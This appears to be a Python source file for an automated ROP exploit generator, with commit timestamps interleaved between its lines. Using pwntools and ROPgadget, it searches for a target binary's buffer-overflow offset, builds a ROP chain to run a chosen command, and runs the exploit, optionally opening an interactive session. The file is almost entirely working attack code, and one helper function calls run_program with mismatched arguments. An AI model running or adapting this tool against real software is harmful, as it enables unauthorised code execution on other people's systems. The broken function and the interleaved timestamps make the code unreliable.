2020-11-26 06:47:19 +00:00
import argparse
import atexit
import math
import os
import subprocess
import sys
2020-11-28 17:42:09 +00:00
import json
2020-11-26 06:47:19 +00:00
from contextlib import redirect_stderr
from pwnlib . context import context
2020-11-25 15:16:52 +00:00
from pwnlib . elf . corefile import Coredump
2020-12-05 16:09:33 +00:00
from pwnlib . tubes . process import process , signal , PTY
from pwnlib import term
2020-11-25 15:16:52 +00:00
from pwnlib . util . cyclic import cyclic , cyclic_find
from pwnlib . util . packing import pack
2020-11-26 06:47:19 +00:00
from pwnlib import atexit as pwnlibexit
2020-11-25 15:38:08 +00:00
2020-11-26 06:47:19 +00:00
# pwnlib has its own version of atexit to do stuff when the program exits, but uses sys.exitfunc
# to do so... unfortunately this was deprecated in python3 so it no longer works!
# either we use python2 or just re-register the pwnlib functions as follows
# why does everything use python2 :(
atexit . register ( pwnlibexit . _run_handlers )
2020-11-25 18:55:01 +00:00
2020-11-26 06:47:19 +00:00
# delete the corefiles on exit
context . update ( delete_corefiles = True )
2020-11-25 15:16:52 +00:00
2020-11-25 16:17:36 +00:00
print ( r '''
_ ___ _ . - - . ___ _____ ______ _____ ______ ______
\` . | \. . - - - - . . . - ' ` `-._.- ' _ . - ' ` / _ \ / ____| / \ |____ / ____| / \ | ____| ____|
/ ' ` , __.-- ' | | | | _ _ | | / \ / / | / \ | | __ | | __
) / ' _/ \ `-_, / | | | \ \ / / | / / \ \ / /| | / / \ \ | __| | __|
` - ' " ` " \ _ ,_.-;_.- \ _ ' , | | _ | | > < | | ____ / ____ \ / / | | ____ / ____ \| | | | ____
_ . - ' _./ { _. ' ; / \___ / / _ / \_ \\_____ / _ / \_ \/ _ / \_____ / _ / \_ \_ | | ______ |
{ _ . - ` ` - ' { _/
''' )
2020-11-25 15:16:52 +00:00
2020-11-25 16:17:36 +00:00
arg_parser = argparse . ArgumentParser ( description = " Run an automated ROP on an executable " )
arg_parser . add_argument ( " exec_file " , metavar = " exec_file " , type = str , help = " The executable file to exploit " )
2020-12-11 11:53:47 +00:00
arg_parser . add_argument ( " --exec_args_file " , metavar = " exec_args_file " , default = " exec_args.json " , type = str , help = " The path to the file containing the arguments to pass to the executable. Put $PAYLOAD$ where you want the payload to be placed. (default: exec_args.json) " )
arg_parser . add_argument ( " --input_method " , metavar = " method " , choices = [ ' arg ' , ' file ' , ' stdin ' ] , default = ' arg ' , help = " Method of passing the payload to the target binary (default: arg) " )
2020-12-06 14:51:33 +00:00
arg_parser . add_argument ( " --interactive " , action = " store_true " , default = False , help = " Automatically run the ROP on the executable " )
2020-12-11 11:53:47 +00:00
arg_parser . add_argument ( " --min_payload " , metavar = " min " , default = 0 , type = int , help = " The minimum payload length to try (default: 0) " )
arg_parser . add_argument ( " --max_payload " , metavar = " max " , default = 16384 , type = int , help = " The maximum payload length to try (default: 16384) " )
arg_parser . add_argument ( " --rop_exec_file " , metavar = " rop_exec " , default = " rop_exec.json " , type = str , help = " The path to the file containing the command for the ROP to run (default: rop_exec.json) " )
arg_parser . add_argument ( " --rop_file " , metavar = " rop_file " , default = " rop.txt " , type = str , help = " The name of the generated ROP input file (default: rop.txt) " )
arg_parser . add_argument ( " --run " , action = " store_true " , default = False , help = " Automatically run the ROP on the executable " )
2020-11-28 17:42:09 +00:00
2020-11-25 16:17:36 +00:00
args = arg_parser . parse_args ( )
2020-11-25 15:38:08 +00:00
2020-11-25 16:17:36 +00:00
exec_file = args . exec_file
2020-11-25 18:55:01 +00:00
rop_file = args . rop_file
2020-11-28 17:42:09 +00:00
rop_exec_file = args . rop_exec_file
2020-11-26 06:47:19 +00:00
min_payload = args . min_payload
max_payload = args . max_payload
2020-11-27 01:18:51 +00:00
run = args . run
2020-12-05 16:09:33 +00:00
input_method = args . input_method
2020-12-06 14:51:33 +00:00
interactive = args . interactive
2020-12-09 19:33:27 +00:00
exec_args_file = args . exec_args_file
exec_args = [ ]
with open ( exec_args_file , " r " ) as f :
exec_args = json . load ( f )
payload_idx = exec_args . index ( ' $PAYLOAD$ ' )
2020-12-05 16:09:33 +00:00
2020-12-06 14:51:33 +00:00
def run_program ( payload : str , * * kwargs ) - > process :
2020-12-05 16:09:33 +00:00
p = None
2020-12-05 17:26:35 +00:00
if input_method == ' arg ' :
2020-12-09 19:33:27 +00:00
exec_args [ payload_idx ] = payload
2020-12-11 11:53:47 +00:00
p = process ( [ f ' { exec_file } ' ] + exec_args , * * kwargs )
2020-12-05 17:26:35 +00:00
elif input_method == ' file ' :
2020-12-05 16:09:33 +00:00
with open ( ' /tmp/input.txt ' , ' wb ' ) as f :
f . write ( payload )
f . flush ( )
2020-12-09 19:33:27 +00:00
exec_args [ payload_idx ] = ' /tmp/input.txt '
2020-12-11 11:53:47 +00:00
p = process ( [ f ' { exec_file } ' ] + exec_args , * * kwargs )
2020-12-05 17:26:35 +00:00
elif input_method == ' stdin ' :
2020-12-11 11:53:47 +00:00
p = process ( [ f ' { exec_file } ' ] + exec_args , * * kwargs )
2020-12-05 16:09:33 +00:00
p . send ( payload )
return p
2020-11-25 15:38:08 +00:00
2020-12-05 17:26:35 +00:00
def find_offset_inc ( low : int , high : int ) :
2020-12-06 15:19:38 +00:00
default_padding = 64
2020-12-11 11:53:47 +00:00
tmp_rop = ' /tmp/rop_file '
2020-12-06 15:19:38 +00:00
print ( f " ├─[🤔] Generating offset discovery payload... " )
2020-12-11 11:53:47 +00:00
result = subprocess . run (
2020-12-06 15:19:38 +00:00
[
" ROPgadget " ,
" --binary " , exec_file ,
" --ropchain " ,
" --silent " ,
" --paddingLen " , str ( default_padding ) ,
2020-12-11 11:53:47 +00:00
" --ropFile " , tmp_rop ,
2020-12-06 15:19:38 +00:00
" --execFile " , ' rop_exec_default.json ' ,
] ,
2020-12-11 11:53:47 +00:00
stdout = subprocess . PIPE
2020-12-06 15:19:38 +00:00
)
2020-12-11 11:53:47 +00:00
with open ( " log/ropgadget.log " , " wb " ) as f :
f . write ( result . stdout )
try :
with open ( tmp_rop , ' rb ' ) as f :
original_payload = f . read ( ) [ default_padding : ]
for i in range ( low , high + 1 ) :
print ( f " ├─[🤔] Trying offset { i } ... " )
rop_payload = ( b ' A ' * i ) + original_payload
proc = run_program ( rop_payload )
if b ' [ Successful ROP! ] ' in proc . readall ( ) :
print ( f " └─[😳] Found offset at { i } ! \n " )
return i
except FileNotFoundError as e :
print ( f " └─[😥] Could not find { e . filename } , check log/ropgadget.log for details " )
2020-12-05 17:26:35 +00:00
return - 1
2020-11-26 06:47:19 +00:00
def find_offset ( exec_file : str , min_payload : int , max_payload : int ) :
2020-11-27 01:18:51 +00:00
print ( " [ Find Offset Length ] " )
2020-11-26 06:47:19 +00:00
payload_size = min_payload
while payload_size < = max_payload :
2020-11-27 01:18:51 +00:00
print ( f " ├─[🤔] Trying payload { payload_size } ... " )
2020-11-25 15:38:08 +00:00
2020-12-05 16:09:33 +00:00
payload = cyclic ( payload_size )
proc = run_program ( exec_file , payload , input_method , alarm = 2 )
2020-11-26 06:47:19 +00:00
exit_code = proc . poll ( block = True )
2020-12-05 16:09:33 +00:00
x = proc . readall ( )
print ( x )
2020-11-25 15:38:08 +00:00
2020-11-26 06:47:19 +00:00
if exit_code != 0 :
# ignore the warnings returned by pwnlib, if finding corefile fails then core is None
2020-11-25 18:55:01 +00:00
with open ( " /dev/null " , " w " ) as f , redirect_stderr ( f ) :
2020-11-26 06:47:19 +00:00
core = proc . corefile
if core is not None and pack ( core . eip ) in payload :
2020-11-25 16:17:36 +00:00
offset = cyclic_find ( core . eip )
2020-11-27 01:18:51 +00:00
print ( f " └─[😳] Found offset at { offset } ! \n " )
2020-11-25 16:17:36 +00:00
return offset
2020-11-25 15:16:52 +00:00
2020-11-25 16:17:36 +00:00
payload_size * = 2
2020-11-25 15:16:52 +00:00
2020-11-26 06:47:19 +00:00
return - 1
2020-12-05 17:26:35 +00:00
offset = find_offset_inc ( min_payload , max_payload )
2020-11-26 06:47:19 +00:00
if offset == - 1 :
2020-11-27 01:18:51 +00:00
print ( f " └─[😞] Failed to find offset. Try increasing the payload bounds and ensuring core dumps are enabled! " )
2020-11-26 06:47:19 +00:00
sys . exit ( 0 )
2020-11-25 15:16:52 +00:00
2020-11-27 01:18:51 +00:00
print ( " [ Generate ROP ] " )
print ( f " ├─[🤔] Running ROPgadget with offset { offset } ... " )
2020-11-25 18:55:01 +00:00
result = subprocess . run (
[
" ROPgadget " ,
" --binary " , exec_file ,
" --ropchain " ,
" --silent " ,
2020-11-27 01:18:51 +00:00
" --paddingLen " , str ( offset ) ,
" --ropFile " , rop_file ,
2020-11-28 17:42:09 +00:00
" --execFile " , rop_exec_file ,
2020-11-25 18:55:01 +00:00
] ,
stdout = subprocess . PIPE
)
2020-11-28 17:42:09 +00:00
with open ( " log/ropgadget.log " , " wb " ) as f :
f . write ( result . stdout )
2020-11-25 18:55:01 +00:00
2020-11-27 01:18:51 +00:00
print ( f " └─[🤩] All done! The ROP input is saved to { rop_file } ! " )
2020-11-25 15:16:52 +00:00
2020-11-27 01:18:51 +00:00
if run :
2020-12-05 16:09:33 +00:00
atexit . unregister ( pwnlibexit . _run_handlers )
2020-11-28 15:31:36 +00:00
pwnlibexit . _run_handlers ( )
2020-11-28 17:42:09 +00:00
2020-12-06 15:19:38 +00:00
print ( f " \n Executing { exec_file } ... \n " )
2020-12-05 16:09:33 +00:00
with open ( rop_file , ' rb ' ) as f :
2020-12-06 15:19:38 +00:00
proc = run_program ( f . read ( ) )
2020-12-06 14:51:33 +00:00
if interactive :
term . init ( )
2020-12-06 15:19:38 +00:00
proc . interactive ( )
2020-12-06 14:51:33 +00:00
else :
2020-12-09 18:12:01 +00:00
print ( proc . recvall ( ) . decode ( ' ascii ' , errors = ' ignore ' ) )